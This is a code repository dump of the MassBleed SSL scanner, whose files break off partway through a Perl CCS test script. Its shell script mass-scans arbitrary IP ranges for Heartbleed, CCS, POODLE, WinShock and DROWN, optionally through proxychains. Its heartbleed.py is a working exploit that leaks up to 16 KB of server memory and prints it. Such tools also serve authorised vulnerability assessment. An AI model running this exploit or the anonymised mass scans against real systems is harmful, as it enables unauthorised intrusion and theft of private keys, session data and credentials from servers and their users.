├── Dockerfile ├── README.md ├── heartbleed.py ├── massbleed.sh ├── openssl_ccs.pl ├── screenshot.png └── winshock.sh /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:trusty 2 | RUN apt-get update -y && \ 3 | apt-get install -y perl python2.7 nmap sslscan postgresql libdnet-dev libpq-dev libpcap-dev bison flex wget build-essential 4 | #install unicronscan 5 | RUN wget http://sourceforge.net/projects/osace/files/unicornscan/unicornscan%20-%200.4.7%20source/unicornscan-0.4.7-2.tar.bz2/download -O unicornscan-0.4.7-2.tar.bz2 && \ 6 | tar jxvf unicornscan-0.4.7-2.tar.bz2 && \ 7 | cd unicornscan-0.4.7/ && \ 8 | ./configure CFLAGS=-D_GNU_SOURCE && \ 9 | make && \ 10 | sudo make install 11 | WORKDIR \ 12 | COPY . / 13 | ENTRYPOINT [ "sh" ] 14 | CMD [ "massbleed.sh" ] 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MassBleed SSL Vulnerability Scanner 2 | 3 | ![alt tag](https://github.com/1N3/MassBleed/blob/master/screenshot.png) 4 | 5 | ## USAGE: 6 | ``` 7 | sh massbleed.sh [CIDR|IP] [single|port|subnet] [port] [proxy] 8 | ``` 9 | 10 | ## ABOUT: 11 | This script has four main functions with the ability to proxy all connections: 12 | * To mass scan any CIDR range for OpenSSL vulnerabilities via port 443/tcp (https) (example: sh massbleed.sh 192.168.0.0/16) 13 | * To scan any CIDR range for OpenSSL vulnerabilities via any custom port specified (example: sh massbleed.sh 192.168.0.0/16 port 8443) 14 | * To individual scan every port (1-10000) on a single system for vulnerable versions of OpenSSL (example: sh massbleed.sh 127.0.0.1 single) 15 | * To scan every open port on every host in a single class C subnet for OpenSSL vulnerabilities (example: sh massbleed.sh 192.168.0. subnet) 16 | 17 | ## PROXY: 18 | A proxy option has been added to scan via proxychains. You'll need to configure /etc/proxychains.conf for this to work. 19 | 20 | ## PROXY USAGE EXAMPLES: 21 | * (example: ./massbleed 192.168.0.0/16 0 0 proxy) 22 | * (example: ./massbleed 192.168.0.0/16 port 8443 proxy) 23 | * (example: ./massbleed 127.0.0.1 single 0 proxy) 24 | * (example: ./massbleed 192.168.0. subnet 0 proxy) 25 | 26 | ## VULNERABILITIES: 27 | 1. OpenSSL HeartBleed Vulnerability (CVE-2014-0160) 28 | 2. OpenSSL CCS (MITM) Vulnerability (CVE-2014-0224) 29 | 3. Poodle SSLv3 Vulnerability (CVE-2014-3566) 30 | 4. WinShock SChannel Vulnerability (MS14-066) 31 | 5. DROWN Attack (CVE-2016-0800) 32 | 33 | ## REQUIREMENTS: 34 | * Is the heartbleed POC present? 35 | * Is the openssl CCS script present? 36 | * Is the winshock script present? 37 | * Is unicornscan installed? 38 | * Is nmap installed? 39 | * Is sslscan installed? 40 | 41 | ## LICENSE: 42 | This software is free to distribute, modify and use with the condition that credit is provided to the creator (1N3@CrowdShield) and is not for commercial use. 43 | 44 | ## DONATIONS: 45 | Donations are welcome. This will help fascilitate improved features, frequent updates and better overall support. 46 | - [x] BTC 1Fav36btfmdrYpCAR65XjKHhxuJJwFyKum 47 | - [x] DASH XoWYdMDGb7UZmzuLviQYtUGb5MNXSkqvXG 48 | - [x] ETH 0x20bB09273702eaBDFbEE9809473Fd04b969a794d 49 | - [x] LTC LQ6mPewec3xeLBYMdRP4yzeta6b9urqs2f -------------------------------------------------------------------------------- /heartbleed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) 4 | # The author disclaims copyright to this source code. 5 | 6 | import sys 7 | import struct 8 | import socket 9 | import time 10 | import select 11 | import re 12 | from optparse import OptionParser 13 | 14 | options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 15 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 16 | options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS') 17 | options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output') 18 | 19 | def h2bin(x): 20 | return x.replace(' ', '').replace('\n', '').decode('hex') 21 | 22 | hello = h2bin(''' 23 | 16 03 02 00 dc 01 00 00 d8 03 02 53 24 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 25 | bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 26 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 27 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 28 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 29 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 30 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 31 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 32 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 33 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 34 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 35 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 36 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 37 | 00 0f 00 01 01 38 | ''') 39 | 40 | hb = h2bin(''' 41 | 18 03 02 00 03 42 | 01 40 00 43 | ''') 44 | 45 | def hexdump(s): 46 | for b in xrange(0, len(s), 16): 47 | lin = [c for c in s[b : b + 16]] 48 | hxdat = ' '.join('%02X' % ord(c) for c in lin) 49 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 50 | print ' %04x: %-48s %s' % (b, hxdat, pdat) 51 | print 52 | 53 | def recvall(s, length, timeout=5): 54 | endtime = time.time() + timeout 55 | rdata = '' 56 | remain = length 57 | while remain > 0: 58 | rtime = endtime - time.time() 59 | if rtime < 0: 60 | return None 61 | r, w, e = select.select([s], [], [], 5) 62 | if s in r: 63 | data = s.recv(remain) 64 | # EOF? 65 | if not data: 66 | return None 67 | rdata += data 68 | remain -= len(data) 69 | return rdata 70 | 71 | 72 | def recvmsg(s): 73 | hdr = recvall(s, 5) 74 | if hdr is None: 75 | print 'Unexpected EOF receiving record header - server closed connection' 76 | return None, None, None 77 | typ, ver, ln = struct.unpack('>BHH', hdr) 78 | pay = recvall(s, ln, 10) 79 | if pay is None: 80 | print 'Unexpected EOF receiving record payload - server closed connection' 81 | return None, None, None 82 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 83 | return typ, ver, pay 84 | 85 | def hit_hb(s): 86 | s.send(hb) 87 | while True: 88 | typ, ver, pay = recvmsg(s) 89 | if typ is None: 90 | print 'No heartbeat response received, server likely not vulnerable' 91 | return False 92 | 93 | if typ == 24: 94 | print 'Received heartbeat response:' 95 | hexdump(pay) 96 | if len(pay) > 3: 97 | print 'WARNING: server returned more data than it should - server is vulnerable!' 98 | else: 99 | print 'Server processed malformed heartbeat, but did not return any extra data.' 100 | return True 101 | 102 | if typ == 21: 103 | print 'Received alert:' 104 | hexdump(pay) 105 | print 'Server returned error, likely not vulnerable' 106 | return False 107 | 108 | def main(): 109 | opts, args = options.parse_args() 110 | if len(args) < 1: 111 | options.print_help() 112 | return 113 | 114 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 115 | print 'Connecting...' 116 | sys.stdout.flush() 117 | s.connect((args[0], opts.port)) 118 | 119 | if opts.starttls: 120 | re = s.recv(4096) 121 | if opts.debug: print re 122 | s.send('ehlo starttlstest\n') 123 | re = s.recv(1024) 124 | if opts.debug: print re 125 | if not 'STARTTLS' in re: 126 | if opts.debug: print re 127 | print 'STARTTLS not supported...' 128 | sys.exit(0) 129 | s.send('starttls\n') 130 | re = s.recv(1024) 131 | 132 | print 'Sending Client Hello...' 133 | sys.stdout.flush() 134 | s.send(hello) 135 | print 'Waiting for Server Hello...' 136 | sys.stdout.flush() 137 | while True: 138 | typ, ver, pay = recvmsg(s) 139 | if typ == None: 140 | print 'Server closed connection without sending Server Hello.' 141 | return 142 | # Look for server hello done message. 143 | if typ == 22 and ord(pay[0]) == 0x0E: 144 | break 145 | 146 | print 'Sending heartbeat request...' 147 | sys.stdout.flush() 148 | s.send(hb) 149 | hit_hb(s) 150 | 151 | if __name__ == '__main__': 152 | main() 153 | 154 | -------------------------------------------------------------------------------- /massbleed.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # MassBleed SSL Vulnerability Scanner v20160303 by 1N3 @ CrowdShield - https://crowdshield.com 3 | # Usage: sh massbleed.sh [port] [proxy] 4 | # 5 | # ABOUT: 6 | # This script has four main functions with the ability to proxy all connections: 7 | # 1. To mass scan any CIDR range for OpenSSL vulnerabilities via port 443/tcp (https) (example: sh massbleed.sh 192.168.0.0/16) 8 | # 2. To scan any CIDR range for OpenSSL vulnerabilities via any custom port specified (example: sh massbleed.sh 192.168.0.0/16 port 8443) 9 | # 3. To individual scan every port (1-10000) on a single system for vulnerable versions of OpenSSL (example: sh massbleed.sh 127.0.0.1 single) 10 | # 4. To scan every open port on every host in a single class C subnet for OpenSSL vulnerabilities (example: sh massbleed.sh 192.168.0. subnet) 11 | # 12 | # PROXY: A proxy option has been added to scan via proxychains. You'll need to configure /etc/proxychains.conf for this to work. 13 | # 14 | # PROXY USAGE EXAMPLES: 15 | # (example: sh massbleed.sh 192.168.0.0/16 0 0 proxy) 16 | # (example: sh massbleed.sh 192.168.0.0/16 port 8443 proxy) 17 | # (example: sh massbleed.sh 127.0.0.1 single 0 proxy) 18 | # (example: sh massbleed.sh 192.168.0. subnet 0 proxy) 19 | # 20 | # VULNERABILITIES: 21 | # 1. OpenSSL HeartBleed Vulnerability (CVE-2014-0160) 22 | # 2. OpenSSL CCS (MITM) Vulnerability (CVE-2014-0224) 23 | # 3. Poodle SSLv3 Vulnerability (CVE-2014-3566) 24 | # 4. WinShock SChannel Vulnerability (MS14-066) 25 | # 5. DROWN Attack (CVE-2016-0800) 26 | # 27 | # REQUIREMENTS: 28 | # Is the heartbleed POC present? 29 | # Is the openssl CCS script present? 30 | # Is the winshock script present? 31 | # Is unicornscan installed? 32 | # Is nmap installed? 33 | # Is sslscan installed? 34 | 35 | OKBLUE='\033[94m' 36 | OKRED='\033[91m' 37 | OKGREEN='\033[92m' 38 | OKORANGE='\033[93m' 39 | RESET='\e[0m' 40 | HEARTBLEED=`ls heartbleed.py` 41 | OPENSSL_CCS=`ls openssl_ccs.pl` 42 | UNICORNSCAN=`which unicornscan` 43 | WINSHOCK=`ls winshock.sh` 44 | NMAP=`which nmap` 45 | SSLSCAN=`which sslscan` 46 | RANGE=$1 47 | SCAN_TYPE=$2 48 | CUSTOM_PORT=$3 49 | PROXY=$4 50 | PORT_RANGE="443,8443,8080,8888,8180,4443" 51 | 52 | echo -e " ███▄ ▄███▓ ▄▄▄ ██████ ██████ ▄▄▄▄ ██▓ ▓█████ ▓█████ ▓█████▄ $RESET" 53 | echo -e "▓██▒▀█▀ ██▒▒████▄ ▒██ ▒ ▒██ ▒ ▓█████▄ ▓██▒ ▓█ ▀ ▓█ ▀ ▒██▀ ██▌$RESET" 54 | echo -e "▓██ ▓██░▒██ ▀█▄ ░ ▓██▄ ░ ▓██▄ ▒██▒ ▄██▒██░ ▒███ ▒███ ░██ █▌$RESET" 55 | echo -e "▒██ ▒██ ░██▄▄▄▄██ ▒ ██▒ ▒ ██▒▒██░█▀ ▒██░ ▒▓█ ▄ ▒▓█ ▄ ░▓█▄ ▌$RESET" 56 | echo -e "▒██▒ ░██▒ ▓█ ▓██▒▒██████▒▒▒██████▒▒░▓█ ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ $RESET" 57 | echo -e "░ ▒░ ░ ░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓ ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓ ▒ $RESET" 58 | echo -e "░ ░ ░ ▒ ▒▒ ░░ ░▒ ░ ░░ ░▒ ░ ░▒░▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ▒ $RESET" 59 | echo -e "░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ $RESET" 60 | echo -e " ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ $RESET" 61 | echo -e " ░ ░ $RESET" 62 | 63 | echo -e "$OKRED+ -- --=[MÄŚŚBĻËËĐ V20160303 BŸ 1Ņ3 @ ĊŖÖŴĐŚȞÏËĻĐ - https://crowdshield.com$RESET" 64 | 65 | if [ "$HEARTBLEED" != "heartbleed.py" ]; then 66 | echo -e "$OKORANGE+ -- --=[heartbleed.py not found!$RESET" 67 | echo -e "$OKORANGE+ -- --=[To fix, download the POC by Jared Stafford and place in same directory named: heartbleed.py$RESET" 68 | exit 69 | fi 70 | 71 | if [ "$OPENSSL_CCS" != "openssl_ccs.pl" ]; then 72 | echo -e "$OKORANGE+ -- --=[openssl_ccs.pl not found!$RESET" 73 | echo -e "$OKORANGE+ -- --=[To fix, download the script from RedHat and place in same directory named: openssl_ccs.pl$RESET" 74 | exit 75 | fi 76 | 77 | if [ "$WINSHOCK" != "winshock.sh" ]; then 78 | echo -e "$OKORANGE+ -- --=[winshock.sh not found!$RESET" 79 | echo -e "$OKORANGE+ -- --=[To fix, download the script and place in the same directory named: winshock.sh$RESET" 80 | exit 81 | fi 82 | 83 | if [ "$UNICORNSCAN" == "" ]; then 84 | echo -e "$OKORANGE+ -- --=[Unicornscan not installed! Try installing and try again.$RESET" 85 | exit 86 | fi 87 | 88 | if [ "$SSLSCAN" == "" ]; then 89 | echo -e "$OKORANGE+ -- --=[SSLScan not installed! Try installing and try again.$RESET" 90 | exit 91 | fi 92 | 93 | if [ "$NMAP" == "" ]; then 94 | echo -e "$OKORANGE+ -- --=[Nmap not installed! Try installing and try again.$RESET" 95 | exit 96 | fi 97 | 98 | if [ -z "$1" ]; then 99 | echo -e "$OKGREEN+ -- --=[Usage: $0 [port] [proxy]$RESET" 100 | exit 101 | fi 102 | 103 | if [ "$PROXY" = "proxy" ]; then 104 | echo -e "$OKORANGE+ -- --=[+ -- --=[Scanning via proxy...$RESET" 105 | if [ "$SCAN_TYPE" = "single" ]; then 106 | for a in `proxychains unicornscan $RANGE -p $PORT_RANGE 2>/dev/null | awk '{print $4}' | cut -d']' -f1`; 107 | do 108 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $RANGE:$a$RESET" && proxychains sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE:$a | egrep --color=auto 'SSLv2' 109 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $RANGE:$a$RESET" && proxychains python heartbleed.py $RANGE -p $a | egrep 'server is vulnerable!' --color=auto 110 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $RANGE:$a$RESET" && proxychains perl openssl_ccs.pl $RANGE $a | egrep 'FAIL Remote host is affected' --color=auto 111 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $RANGE:$a$RESET" && proxychains sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE:$a | egrep --color=auto 'SSLv3' 112 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $RANGE:$a$RESET" && proxychains ./winshock.sh $RANGE $a 113 | done; 114 | 115 | elif [ "$SCAN_TYPE" = "subnet" ]; then 116 | for a in {1..254}; 117 | do 118 | echo -e "$OKGREEN+ -- --=[Scanning: $RANGE$a$RESET" 119 | for b in `proxychains unicornscan "$RANGE$a" -mT -r500 2>/dev/null | awk '{print $4}' | cut -d']' -f1`; 120 | do 121 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $RANGE$a:$b$RESET" && proxychains sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE$a:$b | egrep --color=auto 'SSLv2' 122 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $RANGE$a:$b$RESET" && proxychains python heartbleed.py $RANGE$a -p $b | egrep 'server is vulnerable!' --color=auto 123 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $RANGE$a:$b$RESET" && proxychains perl openssl_ccs.pl $RANGE$a $b | egrep 'FAIL Remote host is affected' --color=auto 124 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $RANGE$a:$b$RESET" && proxychains sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE$a:$b | egrep --color=auto 'SSLv3' 125 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $RANGE$a:$b$RESET" && proxychains ./winshock.sh $RANGE$a $b 126 | done; 127 | done; 128 | 129 | elif [ "$SCAN_TYPE" = "port" ]; then 130 | for a in `proxychains unicornscan $RANGE -p $CUSTOM_PORT 2>/dev/null | awk '{print $6}'`; 131 | do 132 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && proxychains sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a:$CUSTOM_PORT | egrep --color=auto 'SSLv2' 133 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && proxychains python heartbleed.py $a -p $CUSTOM_PORT | egrep 'server is vulnerable!' --color=auto 134 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && proxychains perl openssl_ccs.pl $a $CUSTOM_PORT | egrep 'FAIL Remote host is affected' --color=auto 135 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && proxychains sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a:$CUSTOM_PORT | egrep --color=auto 'SSLv3' 136 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && proxychains ./winshock.sh $a $CUSTOM_PORT 137 | done; 138 | else 139 | for a in `proxychains unicornscan $RANGE -p 443 2>/dev/null | awk '{print $6}'`; 140 | do 141 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $a$RESET" && proxychains sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a | egrep --color=auto 'SSLv2' 142 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $a$RESET" && proxychains python heartbleed.py $a -p 443 | egrep 'server is vulnerable!' --color=auto 143 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $a$RESET" && proxychains perl openssl_ccs.pl $a 443 | egrep 'FAIL Remote host is affected' --color=auto 144 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $a$RESET" && proxychains sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a | egrep --color=auto 'SSLv3' 145 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $a$RESET" && proxychains ./winshock.sh $a 443 146 | done 147 | fi 148 | else 149 | if [ "$SCAN_TYPE" = "single" ]; then 150 | for a in `unicornscan $RANGE -p $PORT_RANGE 2>/dev/null | awk '{print $4}' | cut -d']' -f1`; 151 | do 152 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $RANGE:$a$RESET" && sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE:$a | egrep --color=auto 'SSLv2' 153 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $RANGE:$a$RESET" && python heartbleed.py $RANGE -p $a | egrep 'server is vulnerable!' --color=auto 154 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $RANGE:$a$RESET" && perl openssl_ccs.pl $RANGE $a | egrep 'FAIL Remote host is affected' --color=auto 155 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $RANGE:$a$RESET" && sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE:$a | egrep --color=auto 'SSLv3' 156 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $RANGE:$a$RESET" && ./winshock.sh $RANGE $a 157 | done; 158 | 159 | elif [ "$SCAN_TYPE" = "subnet" ]; then 160 | for a in {1..254}; 161 | do 162 | echo -e "$OKGREEN+ -- --=[Scanning: $RANGE$a" 163 | for b in `unicornscan "$RANGE$a" -mT -r500 2>/dev/null | awk '{print $4}' | cut -d']' -f1`; 164 | do 165 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $RANGE$a:$b$RESET" && sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE$a:$b | egrep --color=auto 'SSLv2' 166 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $RANGE$a:$b$RESET" && python heartbleed.py $RANGE$a -p $b | egrep 'server is vulnerable!' --color=auto 167 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $RANGE$a:$b$RESET" && perl openssl_ccs.pl $RANGE$a $b | egrep 'FAIL Remote host is affected' --color=auto 168 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $RANGE$a:$b$RESET" && sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $RANGE$a:$b | egrep --color=auto 'SSLv3' 169 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $RANGE$a:$b$RESET" && ./winshock.sh $RANGE$a $b 170 | done; 171 | done; 172 | 173 | elif [ "$SCAN_TYPE" = "port" ]; then 174 | for a in `unicornscan $RANGE -p $CUSTOM_PORT 2>/dev/null | awk '{print $6}'`; 175 | do 176 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a:$CUSTOM_PORT | egrep --color=auto 'SSLv2' 177 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && python heartbleed.py $a -p $CUSTOM_PORT | egrep 'server is vulnerable!' --color=auto 178 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && perl openssl_ccs.pl $a $CUSTOM_PORT | egrep 'FAIL Remote host is affected' --color=auto 179 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a:$CUSTOM_PORT | egrep --color=auto 'SSLv3' 180 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $a:$CUSTOM_PORT$RESET" && ./winshock.sh $a $CUSTOM_PORT 181 | done; 182 | else 183 | for a in `unicornscan $RANGE -p 443 2>/dev/null | awk '{print $6}'`; 184 | do 185 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE DROWN (SSLv2)$RESET$OKBLUE: $a$RESET" && sslscan --no-failed --ssl2 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a | egrep --color=auto 'SSLv2' 186 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE HeartBleed$RESET$OKBLUE: $a$RESET" && python heartbleed.py $a -p 443 | egrep 'server is vulnerable!' --color=auto 187 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE OpenSSL CCS$RESET$OKBLUE: $a$RESET" && perl openssl_ccs.pl $a 443 | egrep 'FAIL Remote host is affected' --color=auto 188 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE Poodle (SSLv3)$RESET$OKBLUE: $a$RESET" && sslscan --no-failed --ssl3 --no-check-certificate --no-renegotiation --no-compression --no-heartbleed $a | egrep --color=auto 'SSLv3' 189 | echo -e "$OKBLUE+ -- --=[Checking for$RESET$OKORANGE WinShock (MS14-066)$RESET$OKBLUE: $a$RESET" && ./winshock.sh $a 443 190 | done 191 | fi 192 | fi 193 | 194 | echo -e "$OKRED+ -- --=[Scan Complete!$RESET" 195 | exit 196 | -------------------------------------------------------------------------------- /openssl_ccs.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Test for OpenSSL CVE-2014-0224 4 | # 5 | # This sends Change Cipher Spec record too early and observes server reply to 6 | # see if it responds with alert (i.e. if it's patched) 7 | 8 | use strict; 9 | #use warnings; 10 | 11 | use IO::Socket; 12 | 13 | 14 | if (!defined($ARGV[0])) { 15 | print STDERR "usage: $0 hostname [port]\n"; 16 | exit 1; 17 | } 18 | 19 | my $host = $ARGV[0]; 20 | my $port = 443; 21 | 22 | if (defined($ARGV[1])) { 23 | $port = $ARGV[1]; 24 | } 25 | 26 | my $sock= new IO::Socket::INET( 27 | PeerAddr => $host, 28 | PeerPort => $port, 29 | Proto => 'tcp', 30 | ) or die "error: Could not create socket: $!\n"; 31 | 32 | 33 | # create client hello packet 34 | sub make_clienthello { 35 | my $data = ''; 36 | 37 | $data .= "\x16\x03\x01"; # hs + ver 38 | $data .= "\x00\x5f"; # len 1 39 | 40 | $data .= "\x01"; # client hello 41 | $data .= "\x00\x00\x5b"; # len 2 42 | $data .= "\x03\x01"; # ver 43 | 44 | # random 45 | $data .= pack('N', time()); 46 | for (my $i = 0; $i < 7; $i++) { 47 | $data .= pack('N', int(rand(0xffffffff))); 48 | } 49 | 50 | $data .= "\x00"; # session id len 51 | 52 | # ciphers 53 | $data .= "\x00\x2c"; 54 | $data .= "\x00\x39\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a"; 55 | $data .= "\x00\x33\x00\x32\x00\x9a\x00\x99\x00\x2f\x00\x96"; 56 | $data .= "\x00\x05\x00\x04\x00\x15\x00\x12\x00\x09\x00\x14"; 57 | $data .= "\x00\x11\x00\x08\x00\x06\x00\x03"; 58 | 59 | $data .= "\x02\x01\x00"; # compression 60 | 61 | # renegotiation_info extension 62 | $data .= "\x00\x05\xff\x01\x00\x01\x00"; 63 | 64 | return $data; 65 | } 66 | 67 | # send client hello 68 | my $pkt = make_clienthello(); 69 | print $sock $pkt; 70 | 71 | # send change cipher spec 72 | $pkt = "\x14\x03\x01\x00\x01\x01"; 73 | print $sock $pkt; 74 | 75 | 76 | # simple parsing of response, only to print record types 77 | sub print_pkt_details { 78 | my $pkt = shift; 79 | my $pktlen = shift; 80 | 81 | my $idx = 0; 82 | 83 | while ($idx < $pktlen) { 84 | # get record type 85 | my $rectype = ord(substr($pkt, $idx, 1)); 86 | my $reclen = unpack("n", substr($pkt, $idx + 3, 2)); 87 | #print "rectype: $rectype, reclen $reclen\n"; 88 | 89 | if ($rectype == 22) { 90 | # handshake record 91 | my $hstype = ord(substr($pkt, $idx + 5, 1)); 92 | #print "hstype: $hstype\n"; 93 | 94 | if ($hstype == 2) { 95 | print "- Handshake - Server Hello\n"; 96 | } elsif ($hstype == 11) { 97 | print "- Handshake - Certificate\n"; 98 | } elsif ($hstype == 12) { 99 | print "- Handshake - Server Key Exhange\n"; 100 | } elsif ($hstype == 14) { 101 | print "- Handshake - Server Hello Done\n"; 102 | } else { 103 | print "- Handshake - unknown ($hstype)\n"; 104 | } 105 | } 106 | 107 | elsif ($rectype == 21) { 108 | # alert record 109 | my $alertdesc = ord(substr($pkt, $idx + 6, 1)); 110 | 111 | if ($alertdesc == 10) { 112 | print "- Alert - Unexpected Message\n"; 113 | return 2; 114 | } else { 115 | print "- Alert - unknown ($alertdesc)\n"; 116 | return 1; 117 | } 118 | } 119 | 120 | $idx += $reclen + 5; 121 | } 122 | 123 | return 0; 124 | } 125 | 126 | my $timeout = 5; 127 | my $chunksize = 1024; 128 | my $rv = 1; 129 | 130 | $pkt = ''; 131 | my $pktlen = 0; 132 | 133 | while (1) { 134 | my $part; 135 | my $ret; 136 | 137 | # read with timeout 138 | 